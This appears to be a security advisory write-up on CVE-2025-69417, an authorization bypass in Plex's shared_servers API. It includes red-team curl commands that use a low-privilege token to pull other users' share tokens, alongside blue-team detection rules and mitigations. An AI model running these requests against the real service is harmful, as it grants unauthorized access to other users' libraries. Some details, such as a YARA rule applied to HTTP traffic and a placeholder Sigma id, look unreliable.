CVE-2025-69417

Executive Summary

CVE-2025-69417 is an authorization bypass vulnerability in the Plex Media Server (PMS) backend, specifically within the shared_servers API endpoint. The flaw allows a non-server device token (e.g., a token issued to a client or friend) to retrieve share tokens that are intended for other, unrelated users or devices. This constitutes a violation of the principle of least privilege and can lead to unauthorized access to shared media libraries.

The vulnerability has a CVSS score of 5.0 (Medium), with a low attack complexity and no user interaction required beyond authentication. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby) but rather to a proprietary backend service (plex.tv). The risk is primarily to end-users of Plex Media Server who have shared libraries with other users. An attacker with a valid, low-privilege token (e.g., a friend's token) could enumerate share tokens for other users, potentially gaining access to libraries they were not authorized to view.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or race conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs a valid non-server device token.
• User Interaction (UI): None (N) - No user action is required beyond the initial token acquisition.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - The attacker can retrieve share tokens, but not necessarily all data.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires a valid token and only exposes share tokens, not direct media access. However, the exposed tokens can be used to pivot into other users' libraries.

Deep Dive & Mechanics

The vulnerability resides in the shared_servers API endpoint on the plex.tv backend. This endpoint is designed to return a list of servers shared with the authenticated user. However, due to improper authorization checks, a token that is not a server token (e.g., a client token or a friend token) can be used to query this endpoint and retrieve share tokens for other users.

Technical Flow:

1. An attacker obtains a valid non-server device token (e.g., by being invited as a friend to a Plex Home).
2. The attacker sends a GET request to https://plex.tv/api/v2/shared_servers with their token in the X-Plex-Token header.
3. The backend fails to verify that the token belongs to a server device, and instead returns a list of share tokens for all users that the authenticated user's server has shared libraries with.
4. The attacker can then use these share tokens to access the shared libraries of other users, bypassing the intended access control.

Root Cause: The endpoint does not validate the token type. It should only accept server tokens (tokens issued to the PMS itself) for this operation, but it accepts any valid token.

Vulnerable vs. Patched Code

No official patch or patched code is available. The vulnerability is in the proprietary backend of plex.tv, not in the open-source Plex Media Server codebase. The fix would involve adding a token type check on the server side.

Vulnerable Logic (Conceptual):

# Vulnerable: Accepts any valid token
@app.route('/api/v2/shared_servers')
def get_shared_servers():
    token = request.headers.get('X-Plex-Token')
    user = authenticate(token)  # Only checks if token is valid
    if user:
        return get_all_share_tokens_for_user(user)
    return unauthorized()

Patched Logic (Conceptual):

# Patched: Only accepts server tokens
@app.route('/api/v2/shared_servers')
def get_shared_servers():
    token = request.headers.get('X-Plex-Token')
    user = authenticate(token)
    if user and token.type == 'server':  # Additional check
        return get_all_share_tokens_for_user(user)
    return unauthorized()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid non-server Plex token (e.g., from a friend account).
• Network access to plex.tv.

Exploitation Steps:

1. Obtain a non-server token. This can be done by creating a Plex account and being invited to a Plex Home.
2. Use curl to query the vulnerable endpoint:

   curl -H "X-Plex-Token: YOUR_NON_SERVER_TOKEN" \
        "https://plex.tv/api/v2/shared_servers"
   

3. The response will contain a JSON array of share tokens. Each token can be used to access the corresponding user's shared libraries.
4. Use a share token to access a library:

   curl -H "X-Plex-Token: EXTRACTED_SHARE_TOKEN" \
        "https://plex.tv/api/v2/resources?includeHttps=1"
   

Expected Output:

[
  {
    "shareToken": "abc123def456",
    "serverId": "server_1",
    "userId": "user_2"
  },
  {
    "shareToken": "ghi789jkl012",
    "serverId": "server_1",
    "userId": "user_3"
  }
]

Blue Team

Detection:

• Monitor API logs for unusual access to /api/v2/shared_servers from non-server IPs or user agents.
• Alert on multiple share token retrieval requests from the same token within a short time window.
• Correlate token usage with known server tokens; flag any token that is not a server token.

Hunting:

• Search for shared_servers in web server logs.
• Look for X-Plex-Token headers that do not match the expected server token pattern (e.g., tokens starting with a specific prefix for server tokens).

Mitigation:

• Implement token type validation on the backend.
• Rate-limit the shared_servers endpoint.
• Monitor for anomalous token usage patterns.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to https://plex.tv/api/v2/shared_servers with a non-server X-Plex-Token.
  • Subsequent requests to https://plex.tv/api/v2/resources using extracted share tokens.
• Logs:
  • Multiple 200 OK responses from /api/v2/shared_servers for the same token.
  • Token values that are not in the server token list.
• File:
  • No file-based IOCs.

Detection Engineering

YARA Rule

rule Detect_Plex_ShareToken_Exfiltration {
    meta:
        description = "Detects HTTP requests to Plex shared_servers endpoint with non-server tokens"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69417"
    strings:
        $endpoint = "/api/v2/shared_servers"
        $token_header = "X-Plex-Token"
    condition:
        $endpoint and $token_header
}

Sigma Rule

title: Plex Share Token Exfiltration via shared_servers
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-69417 by querying the shared_servers endpoint with a non-server token.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: plex
detection:
    selection:
        cs-uri-query|contains: "/api/v2/shared_servers"
        cs-method: "GET"
    condition: selection
falsepositives:
    - Legitimate server token usage (should be rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69417 Plex Share Token Exfiltration"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/v2/shared_servers"; http.header; content:"X-Plex-Token"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Monitor: Enable logging for all API requests to plex.tv and review for anomalous token usage.
2. Restrict: If possible, use firewall rules to limit access to the shared_servers endpoint to known server IPs.
3. Audit: Review all current share tokens and revoke any that appear suspicious.

Long-Term Fix:

• Plex must implement server-side token type validation on the shared_servers endpoint.
• Until a patch is released, consider disabling the sharing feature if not critical.

Workarounds:

• None available for end-users. The fix must come from Plex.

Valters IT